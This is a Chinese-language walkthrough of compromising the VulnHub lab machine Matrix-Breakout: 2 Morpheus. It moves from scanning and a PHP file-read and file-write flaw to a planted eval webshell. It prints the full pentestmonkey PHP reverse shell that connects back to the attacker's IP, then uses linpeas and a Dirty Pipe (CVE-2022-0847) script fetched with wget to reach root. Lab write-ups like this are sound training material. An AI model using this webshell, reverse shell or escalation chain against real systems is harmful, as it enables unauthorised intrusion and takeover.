vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS
准备:
攻击机:虚拟机kali、本机win10。
靶机:Matrix-Breakout: 2 Morpheus,下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova,下载后直接vm打开即可。
知识点:文件上传、php伪协议、shell反弹、漏洞收集脚本的使用、CVE-2022-0847提权。

一:信息收集
1.nmap扫描
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22端口、80端口、81端口,开启了http服务、ssh服务。

2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.3 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt、graffiti.txt、graffiti.php等文件。

二:获取shell
1.burpsuite抓包
访问下扫描到的文件信息,获得如下信息:



使用brupsuite抓取提交的数据包进行分析,发现其存在参数file=graffiti.txt,并且返回的数据包中显示了graffiti.txt文件的信息。

那这里就存在文件读取漏洞。那我们使用php伪协议读取下graffiti.php文件的源码信息,命令:php://filter/read=convert.base64-encode/resource=graffiti.php,将获得加密数据进行base64解码,获得源码信息。
graffiti.php代码信息
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

2.文件上传获取shell
分析graffiti.php代码发现,当$file参数默认为graffiti.txt,但是当我们传递$file参数时会覆盖掉原来的默认值,因此这里我们可以直接写入后门文件,一句话后门:<?php%20eval($_POST['x']);?>,然后使用蚁剑进行连接,成功获得shell权限。这里注意下使用get的时候会出问题,尽量使用POST。


3.shell反弹
在这个网站:https://www.revshells.com/,使用php生成shell反弹脚本,然后在kali中开启web服务:python -m http.server,将shell反弹脚本下载到靶机:wget http://172.20.10.7:8000/backShell.php,在web中访问该文件即可获得反弹shell:http://172.20.10.3/backShell.php。
backShell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.20.10.7';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

获得shell权限后在当前目录下发现FLAG.txt文件,访问该文件获得flag值。

三:提权
1.漏洞信息查找
在shell中一番查找也未发现有用的信息,在home下发现两个账户信息,但是查找和两个账户有关的信息,也未发现有啥可利用的信息。

那就直接上脚本吧,利用脚本查找下可以利用的漏洞信息。脚本链接:链接:https://pan.baidu.com/s/1FUd0ohk7rkl-cJR18jkQ0w,提取码:upfn。命令:wget http://172.20.10.7:8000/linpeas.sh,然后赋予执行权限进行执行。

执行脚本后发现存在cve-2022-0847漏洞,这里可以尝试使用该漏洞进行提权,查找下该漏洞的提权方式:https://github.com/imfiver/CVE-2022-0847。

2.CVE-2022-0847提权
下载提权脚本后上传到靶机,命令:wget http://172.20.10.7:8000/Dirty-Pipe.sh,赋予执行权限后执行该脚本成功获得root权限。

获得root权限后在/root目录下发现FLAG.txt文件,访问该文件成功获得flag值。

vulnhub靶场之MATRIX-BREAKOUT: 2 MORPHEUS的更多相关文章
- 【Vulnhub靶场】EMPIRE: BREAKOUT
环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...
- vulnhub靶场渗透实战15-matrix-breakout-2-morpheus
vulnhub靶场渗透实战15-matrix-breakout-2-morpheus 靶机搭建:vulnhub上是说vbox里更合适.可能有vbox版本兼容问题,我用的vmware导入. 靶场下载地址 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- 什么是JS?JS的用途?
一.JavaScript是什么?它有什么作用? JavaScript是一种运行在客户端的脚本语言,简称JS,属于解释性语言.它是一行翻译执行完以后再进行下一行,代码不进行预编译. JavaScript ...
- 【LeetCode】剑指 Offer 30. 包含min函数的栈
题目描述 定义栈的数据结构,请在该类型中实现一个能够得到栈的最小元素的 min 函数在该栈中,调用 min.push 及 pop 的时间复杂度都是 O(1). 思路 最初看到O(1)复杂度的时候,就想 ...
- 使用docker中的MySQL
简言 好久没写文章了,今天分享一篇将mysql移到docker容器.大家都是程序员,如何安装docker我就不说了. 1. 安装.启动mysql镜像 首先使用 docker search mysql ...
- MySQL5.7兼容5.6
MySQL5.7兼容5.6配置----MySQL5.7以上版本数据库兼容MySQL5.5-5.6版本数据库 手动安装MySQL 8.0/5.7 需要修改配置兼容 ,修改后需要重启mysql服务 (建议 ...
- 时隔3个月,Uber 再遭数据泄露...
在今年9月,Uber 就发生过一起数据泄露事件,尽管黑客并无意发动大规模攻击或以此来获取巨额利益,但其成功获取对 Uber 所有敏感服务的完全管理员访问权限仍令人后怕.而在上周,名为"Ube ...
- 就聊聊不少小IT公司的技术总监
本文想告诉大家如下两个观点. 1 很多IT小公司的技术总监,论能力其实也就是相当于大公司的高级程序员. 2 程序员在职业发展过程中,绝对应该优先考虑进大厂或好公司.如果仅仅停留在小公司,由于小公司可能 ...
- github的初体验
首先你得注册一个自己的GitHub账号,注册网址:https://github.com/join有了自己的账号以后,就可以进行登录,开始创建一个新的项目创建一个新的项目,填写项目名称,描述创建完成之后 ...
- AtCoder Beginner Conest 284 解题报告
AtCoder Beginner Conest 284 解题报告 \(\text{By DaiRuiChen007}\) \(\text{Contest Link}\) A. Sequence of ...
- Curve 文件存储在 Elasticsearch 冷热数据存储中的应用实践
Elasticsearch在生产环境中有广泛的应用,本文介绍一种方法,基于网易数帆开源的Curve文件存储,实现Elasticsearch存储成本.性能.容量和运维方面的显著提升. ES 使用 Cur ...
- WPF中使用WebView2控件
目录 WebView2简介 概述 优势 支持的运行时平台 进程模型 基本使用 安装WebView2运行时 安装WebView2Sdk 打开一个网页 导航事件 打开一个网页的过程 更改url的过程 空u ...